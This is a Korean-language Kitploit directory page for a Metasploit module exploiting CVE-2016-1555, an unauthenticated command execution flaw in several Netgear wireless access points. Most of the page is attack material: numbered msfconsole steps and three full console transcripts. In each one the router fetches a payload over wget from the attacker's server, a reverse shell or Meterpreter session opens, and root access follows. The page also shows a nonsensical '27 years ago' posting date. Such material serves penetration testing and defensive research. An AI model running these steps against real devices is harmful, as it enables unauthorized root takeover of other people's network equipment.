Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2016-1555 — CVE-2016-1555용 Metasploit 모듈 | Kitploit
도구/GitHubGitHub/ide0x90/cve-2016-1555
Embedded Systems SecurityExploit FrameworksIoT SecurityVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPayload Development
GitHubide0x90/cve-2016-1555

cve-2016-1555

CVE-2016-1555용 Metasploit 모듈

저장소 보기
27년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

설명

이 모듈은 Netgear WN604(버전 3.3.3 미만) 및 WN802Tv2, WNAP210v2, WNAP320, WNDAP350, WNDAP360, WNDAP660(버전 3.5.5.0 미만)에서 인증되지 않은 임의 명령 실행 취약점을 활용합니다. 이 취약점은 라우터가 (1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, (5) boardDataWW.php에서 오는 POST 요청을 처리하는 방식에서 발생합니다. 이 취약점은 FIRMADYNE(https://github.com/firmadyne/firmadyne)의 제작자인 Daming Dominic Chen이 발견했습니다.

취약한 애플리케이션

  1. msfconsole 실행
  2. 다음 명령어 실행: use exploit/linux/http/netgear_unauth_exec
  3. set RHOST [라우터 IP] 설정
  4. 페이로드를 다른 시스템에서 호스팅하지 않는 경우 set SRVHOST [서버 IP] 설정
  5. set LHOST [본인 IP] 설정
  6. 랜덤 MAC 주소 대신 특정 MAC 주소를 원하는 경우 set MAC_ADDRESS [12자리 숫자] 설정
  7. 기본값인 boardDataWW.php 대신 다른 URI를 대상으로 하려는 경우 set TARGETURI [대상 URI] 설정
  8. 메터프리터 세션을 원하는 경우 set PAYLOAD linux/mipsbe/meterpreter/reverse_tcp 설정
  9. exploit 실행
  10. 라우터가 취약한 경우, 페이로드가 wget(기본 HTTP 스테이저)을 통해 전송되고 실행되어 세션을 획득해야 합니다.

기본 페이로드(linux/mipsbe/shell_reverse_tcp)를 사용한 예제

root@kitploit:~
msf > use exploit/linux/http/netgear_unauth_exec 
msf exploit(linux/http/netgear_unauth_exec) > set RHOST 192.168.200.100
RHOST => 192.168.200.100
msf exploit(linux/http/netgear_unauth_exec) > set LHOST 192.168.200.99
LHOST => 192.168.200.99
msf exploit(linux/http/netgear_unauth_exec) > set SRVHOST 192.168.200.99
SRVHOST => 192.168.200.99
msf exploit(linux/http/netgear_unauth_exec) > exploit

[*] Started reverse TCP handler on 192.168.200.99:4444 
[*] Using URL: http://192.168.200.99:8080/Ekvrz8LbW
[*] Client 192.168.200.100 (Wget) requested /Ekvrz8LbW
[*] Sending payload to 192.168.200.100 (Wget)
[*] Command shell session 1 opened (192.168.200.99:4444 -> 192.168.200.100:56852) at 2018-10-09 20:24:56 +0630
[*] Command Stager progress - 118.97% done (138/116 bytes)
[*] Server stopped.

uname -a
Linux netgear123456 2.6.32.70 #1 Thu Feb 18 01:39:21 UTC 2016 mips unknown
id
uid=0(root) gid=0(root)

메터프리터(linux/mipsbe/meterpreter/reverse_tcp)를 사용한 예제

root@kitploit:~
msf > use exploit/linux/http/netgear_unauth_exec 
msf exploit(linux/http/netgear_unauth_exec) > set RHOST 192.168.200.100
RHOST => 192.168.200.100
msf exploit(linux/http/netgear_unauth_exec) > set PAYLOAD linux/mipsbe/meterpreter/reverse_tcp
PAYLOAD => linux/mipsbe/meterpreter/reverse_tcp
msf exploit(linux/http/netgear_unauth_exec) > set LHOST 192.168.200.99
LHOST => 192.168.200.99
msf exploit(linux/http/netgear_unauth_exec) > set SRVHOST 192.168.200.99
SRVHOST => 192.168.200.99
msf exploit(linux/http/netgear_unauth_exec) > exploit

[*] Started reverse TCP handler on 192.168.200.99:4444 
[*] Using URL: http://192.168.200.99:8080/x6ZYzUoe9x7IR
[*] Client 192.168.200.100 (Wget) requested /x6ZYzUoe9x7IR
[*] Sending payload to 192.168.200.100 (Wget)
[*] Sending stage (1108408 bytes) to 192.168.200.100
[*] Meterpreter session 1 opened (192.168.200.99:4444 -> 192.168.200.100:56854) at 2018-10-09 20:26:39 +0630
[*] Command Stager progress - 118.33% done (142/120 bytes)
[*] Server stopped.

meterpreter > sysinfo
Computer     : 192.168.200.100
OS           :  (Linux 2.6.32.70)
Architecture : mips
BuildTuple   : mips-linux-muslsf
Meterpreter  : mipsbe/linux
meterpreter > getuid 
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > 

다른 취약한 URI(boardDataNA.php)를 사용한 예제

root@kitploit:~
msf > use exploit/linux/http/netgear_unauth_exec 
msf exploit(linux/http/netgear_unauth_exec) > set RHOST 192.168.200.100
RHOST => 192.168.200.100
msf exploit(linux/http/netgear_unauth_exec) > set TARGETURI boardDataNA.php
TARGETURI => boardDataNA.php
msf exploit(linux/http/netgear_unauth_exec) > set LHOST 192.168.200.99
LHOST => 192.168.200.99
msf exploit(linux/http/netgear_unauth_exec) > set SRVHOST 192.168.200.99
SRVHOST => 192.168.200.99
msf exploit(linux/http/netgear_unauth_exec) > exploit

[*] Started reverse TCP handler on 192.168.200.99:4444 
[*] Using URL: http://192.168.200.99:8080/zlJyAS8F1As
[*] Client 192.168.200.100 (Wget) requested /zlJyAS8F1As
[*] Sending payload to 192.168.200.100 (Wget)
[*] Command shell session 1 opened (192.168.200.99:4444 -> 192.168.200.100:56856) at 2018-10-09 20:28:41 +0630
[*] Command Stager progress - 118.64% done (140/118 bytes)
[*] Server stopped.

uname -a
Linux netgear123456 2.6.32.70 #1 Thu Feb 18 01:39:21 UTC 2016 mips unknown
id
uid=0(root) gid=0(root)
도구 다운로드